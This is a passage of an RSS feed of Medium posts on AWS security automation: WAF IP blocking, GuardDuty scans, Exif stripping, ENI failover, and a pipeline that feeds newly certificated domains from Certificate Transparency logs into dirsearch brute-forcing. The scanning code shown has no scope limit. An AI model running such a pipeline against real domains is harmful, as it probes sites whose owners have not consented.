 <br>   • Efficiency: {cache_efficiency:.1f}%<br>   • API calls saved: {cache_stats[&quot;cache_hits&quot;]}&quot;&quot;&quot;<br><br>        message = f&quot;&quot;&quot;🛡️ Daily IP Check Report<br><br>📊 Total IPs processed: {total_ips}<br>⚠️ Risky IPs found: {risky_ips}<br>🔒 IPs added to WAF: {added_ips}{cache_message}<br><br>Status: {&#39;✅ Completed successfully&#39; if risky_ips &gt;= 0 else &#39;❌ Failed&#39;}<br>Request ID: {request_id}<br>&quot;&quot;&quot;<br><br>        url = f&quot;https://api.telegram.org/bot{bot_token}/sendMessage&quot;<br>        payload = {<br>            &#39;chat_id&#39;: chat_id,<br>            &#39;text&#39;: message,<br>            &#39;parse_mode&#39;: &#39;HTML&#39;<br>        }<br><br>        response = requests.post(url, json=payload, timeout=10)<br>        response.raise_for_status()<br>        logger.info(&quot;Telegram notification sent successfully&quot;)<br><br>    except Exception as e:<br>        logger.error(f&quot;Error sending Telegram notification: {str(e)}&quot;)<br><br><br>def send_error_notification(bot_token: str, chat_id: str, error_message: str, context=None):<br>    &quot;&quot;&quot;Send Telegram notification about errors&quot;&quot;&quot;<br>    try:<br>        request_id = context.aws_request_id if context else &#39;Unknown&#39;<br>        message = f&quot;&quot;&quot;❌ Daily IP Check Error<br><br>Error: {error_message}<br>Request ID: {request_id}<br><br>Please check CloudWatch logs for more details.<br>&quot;&quot;&quot;<br><br>        url = f&quot;https://api.telegram.org/bot{bot_token}/sendMessage&quot;<br>        payload = {<br>            &#39;chat_id&#39;: chat_id,<br>            &#39;text&#39;: message,<br>            &#39;parse_mode&#39;: &#39;HTML&#39;<br>        }<br><br>        response = requests.post(url, json=payload, timeout=10)<br>        response.raise_for_status()<br><br>    except Exception as e:<br>        logger.error(f&quot;Error sending error notification: {str(e)}&quot;)</pre><p>The above code:</p><ul><li>Reads a CSV file where IP addresses are stored in the second column when the file is uploaded to the following bucket <strong>proxycheck-waf-automation</strong>, and de-duplicates them.</li><li>Checks their risk scores with <a href="https://proxycheck.io/examples/">ProxyCheck’s client SDK </a>. Once a risky IP is detected, it will be added to the WAF IP Set using the boto3 client.</li><li>Caches scanned IP addresses in Elasticache Valkey along with their risk scores for 30 days to make sure we don’t scan them again in this period.</li><li>Sends a summary report to your Telegram chat.</li></ul><blockquote><em>You need to set your already created WAF IP Set ID in the code. In our case, we’re updating the AWS WAF to protect Cloudfront distributions with an already existing rule that includes the IP Set to block IP addresses. The above example covers IPv4 addresses; you can apply the same principles to IPv6 addresses.</em></blockquote><p>And below are the results!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/0*hFb-sicV-wDdxYIu.png" /></figure><p>Thanks for tuning in!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5faec5a9c99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automating On-demand GuardDuty EC2 malware scans]]></title>
            <link>https://medium.com/@husein.ayoub/automating-on-demand-guardduty-ec2-malware-scans-17adeae58a4c?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/17adeae58a4c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Sat, 06 Sep 2025 19:27:45 GMT</pubDate>
            <atom:updated>2025-10-18T15:18:35.417Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*acysz5z_c4xrZ9ve.png" /></figure><p>In this post, I’ll automate the initiation of EC2 malware scans by GuardDuty, using a simple AWS SAM template.</p><h3>Prerequisites</h3><ul><li>All EC2 instances to be scanned must be encrypted with AWS KMS CMK</li><li>In case you need to modify the KMS encryption key of your existing EBS volume, check out the following <a href="https://repost.aws/knowledge-center/ebs-change-encryption-key">resource</a> for more insights</li><li>You need the necessary IAM permissions to deploy an AWS SAM application</li></ul><h3>Walkthrough</h3><p>We will create a new AWS SAM template file and include the following block of YAML definition to define our Lambda Function responsible of triggering the scans:</p><pre>AWSTemplateFormatVersion: &#39;2010-09-09&#39;<br>Transform: AWS::Serverless-2016-10-31<br>Description: &gt;<br>  python3.13<br><br>Resources:<br>  EC2MalwareScan:<br>    Type: AWS::Serverless::Function<br>    Properties:<br>      FunctionName: ec2-malware-scan-weekly<br>      Description: Initiates GuardDuty on-demand malware scans for running EC2 instances<br>      PackageType: Zip<br>      Runtime: python3.13<br>      Handler: ec2_malware_scan_guardduty.ec2_malware_scan<br>      CodeUri: lambdas/infrastructure/ec2_malware_scan/<br>      Timeout: 60<br>      MemorySize: 256<br>      Tracing: Active<br>      LoggingConfig:<br>        LogFormat: JSON<br>      # CodeSigningConfigArn: !Ref CodeSigningConfig # Optional if you&#39;re using code signing already<br>      Architectures:<br>        - x86_64<br>      Events:<br>        WeeklySchedule:<br>          Type: ScheduleV2<br>          Properties:<br>            ScheduleExpression: &#39;cron(0 6 ? * MON *)&#39;<br>            Name: WeeklyEC2MalwareScan<br>            Description: Weekly EC2 malware scan every Monday at 6 AM UTC<br>            State: ENABLED<br>            RetryPolicy:<br>              MaximumEventAgeInSeconds: 3600<br>              MaximumRetryAttempts: 2<br>      Policies:<br>        - Statement:<br>            - Sid: Ec2Describe<br>              Effect: Allow<br>              Action: ec2:DescribeInstances<br>              Resource: &quot;*&quot;<br>            - Sid: GuardDutyScanOnly<br>              Effect: Allow<br>              Action:<br>                - guardduty:ListDetectors<br>                - guardduty:GetDetector<br>                - guardduty:StartMalwareScan<br>              Resource: &quot;*&quot;<br>            - Sid: IAMPermissions<br>              Effect: Allow<br>              Action:<br>                - iam:GetRole<br>                - iam:PassRole<br>              Resource: &quot;arn:aws:iam::*:role/aws-service-role/malware-protection.guardduty.amazonaws.com/AWSServiceRoleForAmazonGuardDutyMalwareProtection&quot;<br>            - Sid: StsCaller<br>              Effect: Allow<br>              Action: sts:GetCallerIdentity<br>              Resource: &quot;*&quot;<br>      Environment:<br>        Variables:<br>          EXCLUDED_INSTANCES: &quot;&quot;</pre><p>The above template defines our lambda function running on Python 3.13. It has been scheduled to run on a weekly basis on Monday 6 AM UTC and with a retry policy for the EventBridge schedule to retry the execution of our Lambda.</p><blockquote><em>You can adjust the schedule of the runs according to your needs under the WeeklySchedule event</em></blockquote><p>The IAM permissions attached to the lambda function include the following:</p><ul><li><strong>EC2 Describe</strong> — Allows the function to list running EC2 instances (ec2:DescribeInstances).</li><li><strong>GuardDuty Malware Scan</strong> — Grants access to list detectors, get detector details, and start on-demand malware scans (guardduty:ListDetectors, guardduty:GetDetector, guardduty:StartMalwareScan).</li><li><strong>IAM Role Access</strong> — Permits the function to read and pass the GuardDuty service-linked role required for malware protection (iam:GetRole, iam:PassRole).</li><li><strong>STS Identity Check</strong> — Enables the function to retrieve its own AWS identity for logging and context (sts:GetCallerIdentity).</li></ul><p>Now, we need to create a Python file to store our code that will launch the automated scans, by leveraging boto3 to interact with GuardDuty.</p><p>The file needs to be created under lambdas/infrastructure/ec2_malware_scan/ and should be named ec2_malware_scan.py as we defined it in the SAM template CodeUri: lambdas/infrastructure/ec2_malware_scan/</p><p>Below is the code needed in your Python script:</p><pre>import boto3<br>import json<br>import logging<br>import os<br>from typing import List, Dict, Any<br><br># Configure logging<br>logger = logging.getLogger()<br>logger.setLevel(logging.INFO)<br><br># Initialize AWS clients<br>ec2 = boto3.client(&#39;ec2&#39;)<br>guardduty = boto3.client(&#39;guardduty&#39;)<br>sts = boto3.client(&#39;sts&#39;)<br><br>def _get_detector_id() -&gt; str:<br>    resp = guardduty.list_detectors()<br>    ids = resp.get(&#39;DetectorIds&#39;, [])<br>    if not ids:<br>        raise RuntimeError(&quot;No GuardDuty detectors found in this region&quot;)<br>    return ids[0]<br><br>def _malware_protection_enabled() -&gt; bool:<br>    detector_id = _get_detector_id()<br>    det = guardduty.get_detector(DetectorId=detector_id)<br>    ebs = (<br>        det.get(&#39;DataSources&#39;, {})<br>           .get(&#39;MalwareProtection&#39;, {})<br>           .get(&#39;ScanEc2InstanceWithFindings&#39;, {})<br>           .get(&#39;EbsVolumes&#39;, {})<br>    )<br>    enabled = ebs.get(&#39;Status&#39;) == &#39;ENABLED&#39;<br>    if enabled:<br>        logger.info(&quot;GuardDuty Malware Protection (EBS) is ENABLED&quot;)<br>    else:<br>        logger.warning(&quot;GuardDuty Malware Protection (EBS) is DISABLED&quot;)<br>    return enabled<br><br>def _running_instances() -&gt; List[Dict[str, Any]]:<br>    account_id = sts.get_caller_identity()[&quot;Account&quot;]<br>    region = ec2.meta.region_name<br>    paginator = ec2.get_paginator(&#39;describe_instances&#39;)<br>    pages = paginator.paginate(<br>        Filters=[<br>            {&#39;Name&#39;: &#39;instance-state-name&#39;, &#39;Values&#39;: [&#39;running&#39;]},<br>            {&#39;Name&#39;: &#39;tag:Name&#39;, &#39;Values&#39;: [&#39;*&#39;]}<br>        ]<br>    )<br>    instances: List[Dict[str, Any]] = []<br>    for page in pages:<br>        for r in page.get(&#39;Reservations&#39;, []):<br>            for inst in r.get(&#39;Instances&#39;, []):<br>                iid = inst[&#39;InstanceId&#39;]<br>                instances.append({<br>                    &#39;InstanceId&#39;: iid,<br>                    &#39;Arn&#39;: f&quot;arn:aws:ec2:{region}:{account_id}:instance/{iid}&quot;,<br>                })<br><br>    logger.info(f&quot;Found {len(instances)} running EC2 instances&quot;)<br>    return instances<br><br>def _start_scan(instance_arn: str) -&gt; Dict[str, Any]:<br>    try:<br>        resp = guardduty.start_malware_scan(ResourceArn=instance_arn)<br>        return {&#39;instance_arn&#39;: instance_arn, &#39;scan_id&#39;: resp[&#39;ScanId&#39;], &#39;status&#39;: &#39;started&#39;}<br>    except Exception as e:<br>        logger.error(f&quot;Failed to start scan for {instance_arn}: {e}&quot;)<br>        return {&#39;instance_arn&#39;: instance_arn, &#39;status&#39;: &#39;failed&#39;, &#39;error&#39;: str(e)}<br><br>def ec2_malware_scan(event, context):<br>    logger.info(&quot;Weekly GuardDuty EC2 malware scan kickoff&quot;)<br><br>    if not _malware_protection_enabled():<br>        return {<br>            &#39;statusCode&#39;: 400,<br>            &#39;body&#39;: json.dumps({<br>                &#39;error&#39;: &#39;GuardDuty Malware Protection is not enabled&#39;,<br>                &#39;message&#39;: &#39;Enable Malware Protection (EBS volumes) in GuardDuty&#39;<br>            })<br>        }<br><br>    instances = _running_instances()<br>    # If you want to exclude instances from the scan, you can add their InstanceId to the EXCLUDED_INSTANCES environment variable<br>    excluded = {x.strip() for x in os.environ.get(&#39;EXCLUDED_INSTANCES&#39;, &#39;&#39;).split(&#39;,&#39;) if x.strip()}<br>    to_scan = [i for i in instances if i[&#39;InstanceId&#39;] not in excluded]<br><br>    logger.info(f&quot;Excluded {len(instances) - len(to_scan)} instance(s); starting scans for {len(to_scan)}&quot;)<br><br>    results = [_start_scan(i[&#39;Arn&#39;]) for i in to_scan]<br><br>    return {<br>        &#39;statusCode&#39;: 200,<br>        &#39;body&#39;: json.dumps({<br>            &#39;message&#39;: &#39;On-demand malware scans initiated&#39;,<br>            &#39;instances_scanned&#39;: len(results),<br>            &#39;instances_excluded&#39;: len(instances) - len(to_scan),<br>            &#39;results&#39;: results<br>        })<br>    }</pre><blockquote><em>You can exclude instances from being scanned by adding their IDs to the EXCLUDED_INSTANCES environment variable.</em></blockquote><p>Triggering the lambda function manually will run the <a href="https://eu-central-1.console.aws.amazon.com/guardduty/home?region=eu-central-1#/scans">scans</a>, and you’ll hopefully get no malware-infected instances :)</p><p>Thanks for tuning in!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17adeae58a4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Removing Exif metadata with AWS Lambda]]></title>
            <link>https://medium.com/@husein.ayoub/how-to-remove-exif-metadata-with-aws-lambda-fc1741dc7b78?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc1741dc7b78</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[data-privacy]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 11:01:19 GMT</pubDate>
            <atom:updated>2025-01-20T12:51:11.652Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s digital landscape, images, and videos often come with metadata that can reveal more information than you might expect. This metadata, such as EXIF data in images, may include sensitive details like location, device specifications, and other private information. Removing this metadata is a simple yet effective way for businesses to protect user privacy and enhance security. This blog post will show you how to use an AWS Lambda script to automatically strip metadata from images and videos uploaded to S3 buckets.</p><h3>Solution Overview</h3><p>In this section, we walk through the components of the solution. The solution is deployed using <a href="https://aws.amazon.com/serverless/sam/">AWS Serverless Application Model (AWS SAM)</a>, an open-source framework for building serverless applications. AWS SAM helps to organize related components and operate on a single stack. When used with the AWS SAM CLI, it’s a useful tool for developing, testing, and building serverless applications on AWS. We provided an AWS SAM template that you can use to set up the required services and <a href="https://aws.amazon.com/lambda">AWS Lambda</a> functions. Figure 1 illustrates the architecture of the solution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*gWGc_8f_KSFfRmwNYHaPxg.png" /><figcaption>Figure 1</figcaption></figure><h3>Prerequisites</h3><p>Before deploying the solution, make sure the following prerequisites are in place.</p><ul><li>Make sure that you have the permissions to deploy the AWS services detailed in the solution: Lambda, Amazon S3, Amazon SNS, <a href="https://aws.amazon.com/cloudwatch">Amazon CloudWatch</a>.</li><li><a href="https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/install-sam-cli.html">Install the AWS SAM CLI</a>, which you will use to deploy the solution.</li></ul><h3>Pre-deployment steps</h3><p>With the prerequisites in place, you need to set up your own Code Signing Profile in <a href="https://docs.aws.amazon.com/signer/latest/developerguide/Welcome.html">AWS Signer</a>, replace the AWS SAM artifacts S3 bucket and the S3 bucket name you’re going to create to test out the solution.</p><p>To clone the code repository, run the following:</p><pre>git clone https://github.com/huseinayub/SAMStripMetadata.git</pre><p>To create a code signing profile in AWS Signer:</p><ol><li>Navigate to <a href="https://eu-central-1.console.aws.amazon.com/signer/home?region=eu-central-1#/signing-profiles/new">AWS Signer</a> Console</li><li>Choose <strong>Create signing profile</strong></li><li>Enter your signing profile name and set the signing platform as <strong>AWS Lambda</strong></li><li>Replace the Code Signing profile in the <em>template.yaml </em>file</li></ol><p>Replace the S3 bucket names under <em>samconfig.toml </em>and within <em>template.yaml</em></p><h3>Deploy the solution</h3><p>With the prerequisites in place and pre-deployment steps complete, you’re ready to deploy the solution.</p><p><strong>To deploy the solution:</strong></p><ol><li>Navigate to the project directory by using cd SAMStripMetadata .</li><li>Run sam build &amp;&amp; sam deploy</li><li>After deployment is complete, you should see the following output: Successfully created/updated stack – {StackName} in {AWSRegion}. You can review the resources and stack in the <a href="https://console.aws.amazon.com/cloudformation/home">CloudFormation console</a>.</li></ol><h3>Test the solution</h3><p>With the solution deployed, use a set of sample images to verify that it can strip Exif metadata from the assets uploaded to S3.</p><p><strong>To test the solution:</strong></p><ol><li>Go to the S3 bucket you’re already hooked your lambda function to it.</li><li>Upload any <a href="https://github.com/ianare/exif-samples/tree/master/jpg">image that contains Exif metadata</a></li><li>You’ll notice that the Lambda function was triggered and your uploaded object was overridden with a new version as we have enabled Object Versioning for the S3 bucket.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*g3zN1_IffLoxIpdqeGj7bA.png" /><figcaption>Original Image</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*9dCkVbrBIGZ-XxrzuAQhYw.png" /><figcaption>Processed Image</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_t_JA63hOxc9MHh0n23CEA.png" /><figcaption>Object Versions</figcaption></figure><h3>Clean up the resources</h3><p>To clean up the resources that you created for this example:</p><p>Use one of the following methods to delete the CloudFormation stack:</p><ul><li>Use the <a href="https://console.aws.amazon.com/cloudformation">CloudFormation</a> console to delete the stack.</li><li>Use AWS SAM CLI to run sam delete in your terminal. Follow the instructions and enter y when prompted to delete the stack.</li></ul><h3>Conclusion</h3><p>In this post, you learned how to remove metadata from images and videos uploaded to S3 buckets, enhancing privacy and security across a wide range of industries and ensuring compliance with data protection regulations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc1741dc7b78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Seamless AWS ENI Failover for High Availability in Hybrid Architectures]]></title>
            <link>https://medium.com/@husein.ayoub/seamless-aws-eni-failover-for-high-availability-in-hybrid-architectures-615ac2591a18?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/615ac2591a18</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[ec2]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Thu, 11 Jan 2024 08:17:29 GMT</pubDate>
            <atom:updated>2024-01-11T15:43:03.684Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this blog post, we will delve into the process of ENI fail-over on AWS, exploring how organizations can leverage this feature to achieve enhanced high availability for their applications. Specifically, we will focus on scenarios where ENI fail-over is coupled with a Site-to-Site VPN connection, enabling seamless communication between instances in the AWS cloud and machines residing in an on-premises data center.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*4OnmVSIH6puCBhJQ7pzA3g.png" /></figure><h3>Motivation</h3><p>Most companies nowadays rely on hybrid architectures for their applications infrastructure. To enable connectivity between AWS and a specific data center, AWS Site-to-Site VPNs are usually the most reasonable choice, coupled with an EC2 / Computing resource running on AWS infrastructure accessing the targeted service on-premise. Usually, security teams prefer to whitelist a single IP address on the AWS side and won’t go with allowing traffic from the whole AWS VPC CIDR , as a form of enhanced segregation and to prevent unauthorized traffic from possibly compromised resources. This dependency over a single private IP, by relying on a single IP, for communication impacts the High Availability concept that most cloud providers provide by using their services.</p><h3>Solution Overview</h3><p>In the above diagram, there is two EC2 instances, an active &amp; a standby one. Whenever an EC2 instance fails the status checks, and which will affect our services functionalities, a fail-over process will occur.</p><p>First of all, a <strong>cloudwatch alarm</strong> will trigger a <strong>lambda</strong> function that detaches the <strong>network interface </strong>having the whitelisted private IP address from the <strong>active</strong> instance and attach it to the <strong>standby </strong>instance.</p><p>In addition to the above, a <strong>SSM document</strong> will also be ran on the standby instance so we can make sure the instance can recognize the new Network interface.</p><blockquote>In this blog post, I’ll be utilizing two Ubuntu instances. You can check the following post <a href="https://repost.aws/knowledge-center/ec2-ubuntu-secondary-network-interface">https://repost.aws/knowledge-center/ec2-ubuntu-secondary-network-interface</a> for more context about making the secondary instance available. In case you’re using Amazon Linux, kindly check the following documentation <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/MultipleIP.html#StepTwoConfigOS">https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/MultipleIP.html#StepTwoConfigOS</a></blockquote><p>The below Lambda code will be executed when our cloudwatch alarm enters the <strong>ALARM </strong>state, having the following metric<strong> StatusCheckFailed bypassed </strong>a certain threshold you’ve defined when creating the alarm.</p><p>Your Lambda needs <strong>IAM Permissions </strong>to describe the active instance, describe network interfaces for it, detach &amp; attach network the specific interface to the before-mentioned instances. Also, <strong>IAM permission to execute the SSM document </strong>on the standby instance is necessary.</p><pre>import json<br>import boto3<br><br>ec2_client = boto3.client(&#39;ec2&#39;)<br>ssm_client = boto3.client(&#39;ssm&#39;)<br><br>backup_instance_id = &quot;i-0a714752b520eb0f8&quot;<br>network_inteface_id = &quot;eni-003d8b02ff6cb8ee7&quot;<br>document_name = &quot;FailOverNICoverEC2&quot;<br><br>def lambda_handler(event, context):<br>    attachment_id = &quot;&quot;<br>    try:<br>        alarm_data = event<br>        if alarm_data[&quot;alarmData&quot;][&quot;state&quot;][&quot;value&quot;] == &quot;ALARM&quot;:<br>            response_instance_description = ec2_client.describe_instances(InstanceIds=[alarm_data[&quot;alarmData&quot;][&quot;configuration&quot;][&quot;metrics&quot;][0][&quot;metricStat&quot;][&quot;metric&quot;][&quot;dimensions&quot;][&quot;InstanceId&quot;]])<br>            network_interfaces = response_instance_description[&#39;Reservations&#39;][0][&#39;Instances&#39;][0][&#39;NetworkInterfaces&#39;]<br>            for nic in network_interfaces:<br>                if nic[&quot;NetworkInterfaceId&quot;] == network_inteface_id:<br>                    attachment_id = nic[&quot;Attachment&quot;][&quot;AttachmentId&quot;]<br>       <br>        <br>        response_detach = ec2_client.detach_network_interface(<br>            AttachmentId=attachment_id<br>        )<br>        <br>        if response_detach[&quot;ResponseMetadata&quot;][&quot;HTTPStatusCode&quot;] == 200:<br>            print(&quot;Detachment successful&quot;)<br>            <br>            nic_attachement_status = ec2_client.describe_network_interfaces(NetworkInterfaceIds=[network_inteface_id])<br>            while nic_attachement_status[&quot;NetworkInterfaces&quot;][0][&quot;Status&quot;] != &quot;available&quot; :<br>                print(&quot;NIC detaching from old instance...&quot;)<br>                nic_attachement_status = ec2_client.describe_network_interfaces(NetworkInterfaceIds=[network_inteface_id])<br>            <br>            response_attach = ec2_client.attach_network_interface(<br>                DeviceIndex=1, # this relied on the instance type you&#39;re using<br>                InstanceId=backup_instance_id,<br>                NetworkInterfaceId=network_inteface_id<br>            )<br>        <br>            if response_attach[&quot;ResponseMetadata&quot;][&quot;HTTPStatusCode&quot;] == 200:<br>                print(&quot;Attachement successful&quot;)<br>        <br>            response_ssm_doc = ssm_client.send_command(<br>                DocumentName=document_name,<br>                InstanceIds=[backup_instance_id]<br>            )<br>        <br>            print(response_ssm_doc)<br>        <br>        return &quot;Success&quot;<br>    except Exception as e:<br>        raise e</pre><p><strong>Netplan</strong> is a utility in Ubuntu (starting from version 17.10 and later) that allows users to configure network interfaces and networking settings.</p><p>In the below <strong>SSM document</strong>, i’m downloading <strong>nic.yaml </strong>which contains my network interface configuration and apply the changes.</p><pre>---<br>schemaVersion: &#39;2.2&#39;<br>description: Configure NIC for EC2<br>parameters: {}<br>mainSteps:<br>- action: aws:runShellScript<br>  name: configureNicForEC2<br>  inputs:<br>    runCommand:<br>    - aws s3 cp s3://bucket/nic.yaml /tmp/nic.yaml<br>    - sudo mv /tmp/nic.yaml /etc/netplan/51-eth1.yaml<br>    - sudo netplan --debug apply</pre><pre># Content of nic.yaml<br>network:<br>  version: 2<br>  renderer: networkd<br>  ethernets:<br>    eth1:<br>      addresses:<br>       - 172.31.28.149/20<br>      dhcp4: no<br>      routes:<br>       - to: 0.0.0.0/0<br>         via: 172.31.16.1 # Default gateway<br>         table: 1000<br>       - to: 172.31.28.149<br>         via: 0.0.0.0<br>         scope: link<br>         table: 1000<br>      routing-policy:<br>        - from: 172.31.28.149<br>          table: 1000</pre><p>After a successful execution of the SSM document on the standby instance, you can login and test the connectivity of the network interface when attached to the standby instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*OMvfptLih5jPhmYo1T6nhA.png" /></figure><blockquote>The above solution might be affected by the subnet type you deployed your instances to.</blockquote><blockquote>If you launched your instance in a private subnet, then use the secondary private IP address to connect through SSH. Make sure to choose the <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/MultipleIP.html#StepThreeEIP">secondary IPv4 address</a> from the IPv4 CIDR block range of the subnet for the network interface.</blockquote><blockquote>If you launched your instances in a public subnet, then <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/MultipleIP.html#StepTwoConfigOS">allocate an Elastic IP address to your instance’s secondary private IP address</a>.</blockquote><blockquote>Reference: <a href="https://repost.aws/knowledge-center/ec2-instance-connect-with-secondary-ip">https://repost.aws/knowledge-center/ec2-instance-connect-with-secondary-ip</a></blockquote><p>And That’s a wrap, thanks for tuning in!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=615ac2591a18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Event Driven Bug Bounty on AWS]]></title>
            <link>https://medium.com/@husein.ayoub/event-driven-bug-bounty-on-aws-d39f75d962a3?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/d39f75d962a3</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Mon, 20 Nov 2023 08:32:13 GMT</pubDate>
            <atom:updated>2023-11-20T15:10:49.934Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Couple of weeks ago, i was setting up a web application for a friend on his private VPS, as he requested his site to be equipped with SSL , i went to issue SSL certificates with <a href="https://certbot.eff.org/">CertBot</a>. When I first ran the CertBot command to start the certificates generation process, I immediately noticed in my NGINX server logs that some directory brute-forcing activity occurred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*200lCHySaihR1WP8SO5GIA.png" /></figure><blockquote>Certificate Transparency Logs are a key component of the Certificate Transparency system. They are publicly accessible, append-only logs that record information about issued SSL/TLS certificates.</blockquote><p>The first thing that came to my mind is some sort of <a href="https://certificate.transparency.dev/howctworks/">Certificate Transparency</a> Log monitoring that is targeting <a href="https://letsencrypt.org/">Let’s Encrypt</a> CA and was motivated to build a similar workflow on AWS that will give us a leverage in the Recon process for targeted bug bounty programs domains.</p><h3>Architecting on AWS</h3><blockquote>The below architecture diagram can be modified to use private subnets along with a NAT Gateway to provide internet connectivity for our fargate tasks.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*FK-MSMxY6YXHXUz8r2p6Mw.jpeg" /></figure><p>The above diagram shows the architecture I followed when setting up a demo for this article. It consists of the following components:</p><ol><li>EC2 Instance: hosts our Python Script that uses <a href="https://github.com/CaliDog/certstream-python"><strong>certstream</strong></a> python package and has an Instance Profile allowing message publishing to SNS.</li><li>Multiple SQS queues subscribed to the same SNS topic following the <a href="https://docs.aws.amazon.com/sns/latest/dg/sns-sqs-as-subscriber.html">fanout pattern</a> where the SNS topic receive the new (sub)domains and send them to SQS.</li><li>Lambda function acts as a trigger that consumes items from the SQS queues containing the (sub)domains and runs the fargate tasks with the <a href="https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ecs/client/run_task.html">ECS boto3 client</a></li></ol><p>Each SQS queue will be basically used for a different recon tool ( For the sake of simplicity, I’ll use <a href="https://github.com/maurosoria/dirsearch"><strong>dirsearch</strong></a> only in this demo ).</p><p>For the Python Script, the following code snippet was used to connect to certstream WebSocket and publish (sub)domains to the SNS topic. Make sure you install certstream and boto3 using pip.</p><pre>import certstream<br>import boto3<br><br>sns_client = boto3.client(&#39;sns&#39;)<br><br><br>def connect_to_certstream():<br>    certstream.listen_for_events(print_callback, on_error=on_error, url=&#39;wss://certstream.calidog.io/&#39;)<br>    return<br><br>def print_callback(message, context):<br>    if message[&#39;message_type&#39;] == &quot;heartbeat&quot;:<br>        return<br>    if message[&#39;message_type&#39;] == &quot;certificate_update&quot;:<br>        all_domains = message[&#39;data&#39;][&#39;leaf_cert&#39;][&#39;all_domains&#39;]<br><br>        if len(all_domains) &gt; 0:<br>            try:<br>                for domain in all_domains:<br>                    response = sns_client.publish(<br>                        TopicArn=&#39;arn:aws:sns:eu-central-1:accountid:CertStream&#39;,<br>                        Message=domain<br>                    )<br>                    print(response)<br>            except Exception as e:<br>                print(e.with_traceback)<br><br>def on_error(instance, exception):<br>    # Instance is the CertStreamClient instance that barfed<br>    print(&quot;Exception in CertStreamClient! -&gt; {}&quot;.format(exception)) <br>    connect_to_certstream()<br><br>if __name__ == &quot;__main__&quot;:<br>    connect_to_certstream()</pre><p>For the Lambda Trigger function, make sure you have the proper IAM permissions attached to your IAM role to be able to interact with SQS and ECS. You can use the AWS managed policy <a href="https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSLambdaSQSQueueExecutionRole.html"><strong>AWS Lambda SQS Queue Execution Role</strong></a><strong> for the SQS part. </strong>The below code will get the domain value from the SNS message and trigger the ECS Task ( dirsearch docker container ) and passing to it the parameter value in the <strong>containerOverrides section.</strong></p><pre>import json<br>import boto3<br><br>client = boto3.client(&#39;ecs&#39;)<br><br>def lambda_handler(event, context):<br>    try:<br>        domain = &#39;&#39;<br>        for record in event[&quot;Records&quot;]:<br>            payload = record[&quot;body&quot;]<br>            message = json.loads(str(payload))<br>            domain = message[&quot;Message&quot;]<br>        response = client.run_task(<br>            cluster=&#39;my-cluster&#39;,<br>            count=1,<br>            launchType=&#39;FARGATE&#39;,<br>            networkConfiguration={<br>                &#39;awsvpcConfiguration&#39;: {<br>                    &#39;subnets&#39;: [<br>                        &#39;subnet-xxxxx&#39;,<br>                    ],<br>                    &#39;securityGroups&#39;: [<br>                        &#39;sg-xxxxxx&#39;,<br>                    ],<br>                    &#39;assignPublicIp&#39;: &#39;ENABLED&#39;<br>                }<br>            },<br>            overrides={<br>                &#39;containerOverrides&#39;: [<br>                    {<br>                        &#39;name&#39;: &#39;dirsearch&#39;,<br>                        &#39;command&#39;: [<br>                            &#39;-u &#39; + domain, # Not the most secure solution to exist :&#39;)<br>                        ]<br>                    }<br>                ]<br>            },<br>            platformVersion=&#39;LATEST&#39;,<br>            taskDefinition=&#39;arn:aws:ecs:eu-central-1:xxxxxxx:task-definition/dirsearch&#39;<br>        )<br>        return 